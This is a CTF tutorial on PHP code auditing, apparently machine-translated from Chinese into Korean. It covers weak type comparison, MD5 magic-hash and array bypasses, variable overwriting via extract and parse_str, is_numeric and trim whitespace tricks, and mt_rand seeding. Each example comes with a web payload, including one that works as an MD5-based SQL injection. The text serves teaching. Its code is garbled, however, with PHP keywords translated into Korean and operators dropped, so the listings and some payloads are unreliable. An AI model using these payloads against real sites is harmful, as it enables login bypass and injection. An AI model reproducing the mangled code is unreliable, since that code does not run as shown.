제목 : CTF의 PHP 코드 감사

CTF 中的 PHP 代码审计​

1 PHP 弱类型问题​

1.1 原理​

双等于号:인 경우 $ a 유형 변환 후 $ B와 같다.
$ a가 $ b와 동일하면三等于号:은 모두 true와 동일합니다.
값이 문자열과 비교되면 문자열이 값으로 변환됩니다.
일반적인 비교 결과 :
1
2
3
4
5
6
7
8
9
''==0==거짓
'123'==123
'ABC'==0
'123a'==123
'0x01'==1
'0e123456789'=='0e987654321'
false==0==null=='' '
null==false==0
true==1

1.2 实例​

1.2.1 MD5 等 hash 函数相关题目​

1.2.1.1 DEMO 1​

20190116101600.png-water_print

페이로드 : url? param1=qnkcdzoparam2=aabg7xss

1.2.2.2 DEMO 2​

20190116101741.png-water_print

페이로드 : url? param1 []=1param2 []=

1.2.2.3 DEMO 3​

20190116101835.png-water_print

문자열 캐스팅 후 배열을 전달할 때 배열 값은 배열 실패로 우회 할 수 없으므로 MD5 충돌의 형태를 채택합니다.
도구 : FastColl
유효 탑재량:
20190116110131.png-water_print

1.2.2.4 DEMO 4​

20190116101915.png-water_print

페이로드 : url? name []=1password []=

1.2.2.5 DEMO 5 - MD5 与 SQL 注入的融合​

20190116103644.png-water_print

페이로드 : url? password=ffifdyop
20190116103630.png-water_print

1.2.2 JSON 相关题目​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
? php
하이라이트_file (__ file__);
'flag.php'포함;
if (isset ($ _ post [ 'message'])) {
$ message=json_decode (_ $ post [ 'message']);
if ($ message-key==$ key) {
echo $ 깃발;
}
또 다른 {
에코 '실패';
}
}
또 다른 {
에코 '~~~~';
}
?
원리 : 문자열 플래그 {xxx}의 숫자 0과 비교하면 결과가 사실입니다.
페이로드 : url? atmer={ 'key':0}

1.2.3 SWITCH 相关题目​

원칙 : 스위치가 숫자 유형의 경우 여부를 결정할 때 스위치는 매개 변수를 IT 유형으로 변환합니다. 스위치에 의해 판단되면 유형과 동일합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
? php
하이라이트_file (__ file__);
$ i='3nanme';
스위치 ($ i) {
케이스 0:
사례 1:
사례 2:
에코 '이것은 2입니다.
부서지다;
사례 3:
에코 '플래그';
부서지다;
}
?

1.2.4 STRCMP 相关题目​

원칙 : strcmp의 매개 변수를 배열로 사용하면 반환 값은 null이며, 이는 비 스트릭 비교에서 0과 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
? php
하이라이트_file (__ file__);
'flag.php'포함;
if (isset ($ _ post [ 'password'])) {
if (strcmp ($ _ post [ 'password'], $ password)==0) {
Echo 'Right ! 로그인 성공';
echo $ 깃발;
출구();
} 또 다른 {
echo '잘못된 암호 .';
}
}
?
페이로드 : URL? 비밀번호 []=

1.2.5 in_array 函数​

1
2
3
4
5
6
? php
하이라이트_file (__ file__);
$ array=[0, 1, 2, '3'];
var_dump (in_array ( 'abc', $ array));
var_dump (in_array ( '1bc', $ array));
var_dump (in_array (3, $ array));
반환 결과는 다음과 같습니다. 참, 참, 참입니다

1.2.6 array_search 函数​

배열에서 주어진 값을 검색하고 성공하면 첫 번째 해당 키 이름을 반환하십시오.
1
2
3
4
5
6
7
? php
하이라이트_file (__ file__);
$ array=[0, 1, 2, '3'];
var_dump (array_search ( 'abc', $ array));
var_dump (array_search ( '1bc', $ array));
var_dump (array_search (3, $ array));
var_dump (array_search ( '3', $ array));
반환 결과는 0, 1, 3, 3입니다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
? php
if (! is_array ($ _ get [ 'test'])) {
출구();
}
$ test=$ _get [ 'test'];
for ($ i=0; $ i count ($ test); $ i ++) {
if ($ test [$ i]==='admin') {
에코 '오류';
출구();
}
$ test [$ i]=intval ($ test [$ i]);
}
if (array_search ( 'admin', $ test)===0) {
에코 '플래그';
} 또 다른 {
에코 '거짓';
}
페이로드 : URL? 테스트 [0]=0

1.2.7 strpos 函数​

1
2
3
4
5
? php
var_dump (strpos ( 'abcd', 'a'));
//int (0)
var_dump (strpos ( 'abcd', 'a')==false);
//bool (true)

2 变量覆盖问题​

2.1 extract 函数​

20190116141716.png-water_print

데모:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
? php
하이라이트_file (__ file__);
'flag.php'포함;
추출물 ($ _ get);
if (isset ($ 선물)) {
$ content=trim (file_get_contents ($ flag));
if ($ Gift==$ content) {
echo $ trueflag;
}
또 다른 {
에코 '오 .';
}
}
?
file_get_content () return 값을 비워두면 우회 할 수 있습니다.
페이로드 : 선물=플래그=

2.2 遍历初始化变量​

$$는 PHP에서 변수를 선언하기 위해 PHP에서 사용될 수 있으므로 배열을 가로 질러 원래 값을 덮어 쓸 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
? php
하이라이트_file (__ file__);
$ a='HelloWorld';
echo $ a;
echo '$ a';
에코 'br /'
foreach ($ _ get as $ key=$ value) {
$$ key=$ value;
}
echo '$ a';
?
$ key와 $ 값은 모두 제어 가능하므로 코드의 8 행에서 $ a 변수의 점을 수정하므로 $ key=a, $$ key=$ a, $ value는 수정하려는 값입니다.
페이로드 : url? a=afterchange
데모:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
? php
하이라이트_file (__ file__);
'flag.php'포함;
$ _403='액세스 거부';
$ _200='환영 관리자';
if ($ _ server [ 'request_method']!='post') {
다이 ( 'bugsbunnyctf는 여기에 :p .');
}
if (! isset ($ _ post [ 'flag'])) {
다이 ($ _ 403);
}
foreach ($ _get as $ key=$ value) {
$$ key=$$ 가치;
}
foreach ($ _post as $ key=$ value) {
$$ key=$ value;
}
if ($ _ post [ 'flag']!==$ flag) {
다이 ($ _ 403);
}
에코 '이것은 당신의 깃발 :'입니다. $ 깃발. '\N';
다이 ($ _ 200);
?
페이로드 : URL? _200=FLAG + POST : FLAG=123

2.3 parse_str 函数​

20190116143759.png-water_print

20190116143824.png-water_print

데모:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
? php
'flag.php'포함;
if (빈 ($ _ get [ 'id'])) {
show_source (__ file__);
주사위();
} 또 다른 {
포함 ( 'flag.php');
$ a='www.openctf.com';
$ id=$ _get [ 'id'];
@parse_str ($ id);
if ($ a [0]!='qnkcdzo'md5 ($ a [0])==md5 ( 'qnkcdzo') {
echo $ 깃발;
} 또 다른 {
종료 ( '실제로는 매우 간단하고 어렵지 않습니다!');
}
}
?
페이로드 : url? id=a [0]=S878926199a
기능
PHP 변수 이름에는 "도트"및 "공간"을 가질 수 없으므로 parase_str 함수에서 밑줄로 변환됩니다.
1
2
3
? php
$ a=$ _get [ 'a_a'];
echo $ a;
전달 된 매개 변수의 이름이 지정된 경우 : URL? A.A=123, A_A로 변환되므로 콘텐츠는 정상적으로 출력 할 수 있습니다.

3 空白符相关​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
? php
하이라이트_file (__ file__);
'flag.php'포함;
$ info='';
$ req=[];
ini_set ( 'display_error', false);
error_report (0);
if (! isset ($ _ get [ 'number'])) {
죽으십시오 ( '재미있어!');
}
foreach ([$ _ get, $ _post] as $ global_var) {
foreach ($ global_var as key=$ value) {
$ value=trim ($ value);
is_string ($ value) $ req [$ key]=addSlashes ($ value);
}
}
함수 IS_PALINDROME_NUMBER ($ 번호) {
$ 번호=strval ($ 번호);
$ i=0;
$ j=strlen ($ 번호) -1;
while ($ i $ j) {
if ($ number [$ i]!==$ number [$ j]) {
거짓을 반환합니다.
}
$ i ++;
$ J-;
}
진실을 반환하십시오.
}
if (is_numeric ($ _ request [ 'number'])) {
$ info='죄송합니다. 숫자를 입력 할 수 없습니다!';
}
else if ($ req [ 'number']!=strval (intval ($ req [ 'number'])))
{
$ info='번호는 \'s Integer ! '와 같아야합니다.
}
또 다른
{
$ value1=intval ($ req [ 'number']);
$ value2=intval (strrev ($ req [ 'number']);
if ($ value1!=$ value2)
{
$ info='아니요, 이것은 Palindrome 번호가 아닙니다';
}
또 다른
{
if (is_palindrome_number ($ req [ 'number'])) {
$ info='좋아요! {$ value1}은 Palindrome 번호입니다! '
}
또 다른 {
$ info=$ flag;
}
}
}
echo $ info;
?

3.1 intval 函数​

실패시 Var의 인터거 값을 성공적으로 반환합니다. 빈 배열 반환 0, 비어 있지 않은 배열 반환 1
최대 값은 운영 체제에 따라 다릅니다
32 비트 운영 체제의 최대 서명 정수 범위는 -2147483648 ~ 2147483647입니다.
64 비트 시스템에서 최대 서명 된 정수 값은 9223372036854775807입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
? php
Echo Intval (42); //42
Echo Intval (4.2); //4
Echo Intval ('42 '); //42
Echo intval ( '+42'); //42
Echo intval ( '-42'); //-42
Echo Intval (042); //34
Echo Intval ( '042'); //42
Echo intval (1e10); //10000000000
Echo intval ( '1e10'); //1
Echo Intval (0x1a); //26
Echo Intval (42000000); //42000000
Echo Intval (42000000000000000000000); //0
Echo Intval ( '420000000000000000000000'); //2147483647
Echo Intval (42, 8); //42
Echo Intval ('42 ', 8); //34
echo intval (배열 ()); //0
echo intval (배열 ( 'foo', 'bar')); //1
?

3.2 浮点数精度​

20190116150154.png-water_print

3.3 is_numeric 函数​

20190116150258.png-water_print

전달 된 문자열에 공백, \ t \ r \ n \ v \ f와 같은 특수 기호가 포함되어 있으면 반환 결과는 여전히 사실입니다.

3.3 trim 函数​

20190116150551.png-water_print

기능 비교 :
소스 코드
손질
\ t \ n \ r \ 0 \ x0b를 제거하십시오
is_numeric, intval
건너 뛰기 \ t \ n \ r \ f \ v
페이로드 : 번호=%00%0c121

4 伪随机数相关​

4.1 mt_rand 函数​

20190116153537.png-water_print

우리가 범위를 직접 지정하면 너무 작다면 터가 쉽습니다. 따라서 대부분의 실제 응용 분야에서 범위는 지정되지 않습니다. mt_rand () 함수의 기본 범위는 0과 mt_getrandmax () 사이의 의사 랜덤 번호입니다.
20190116153802.png-water_print

동일한 시드로 생성 된 임의의 숫자는 동일하므로 MT_RAND의 씨앗을 반비례하여 같은 페이지에서 다른 랜드의 값을 얻을 수 있습니다.
 
뒤로
상단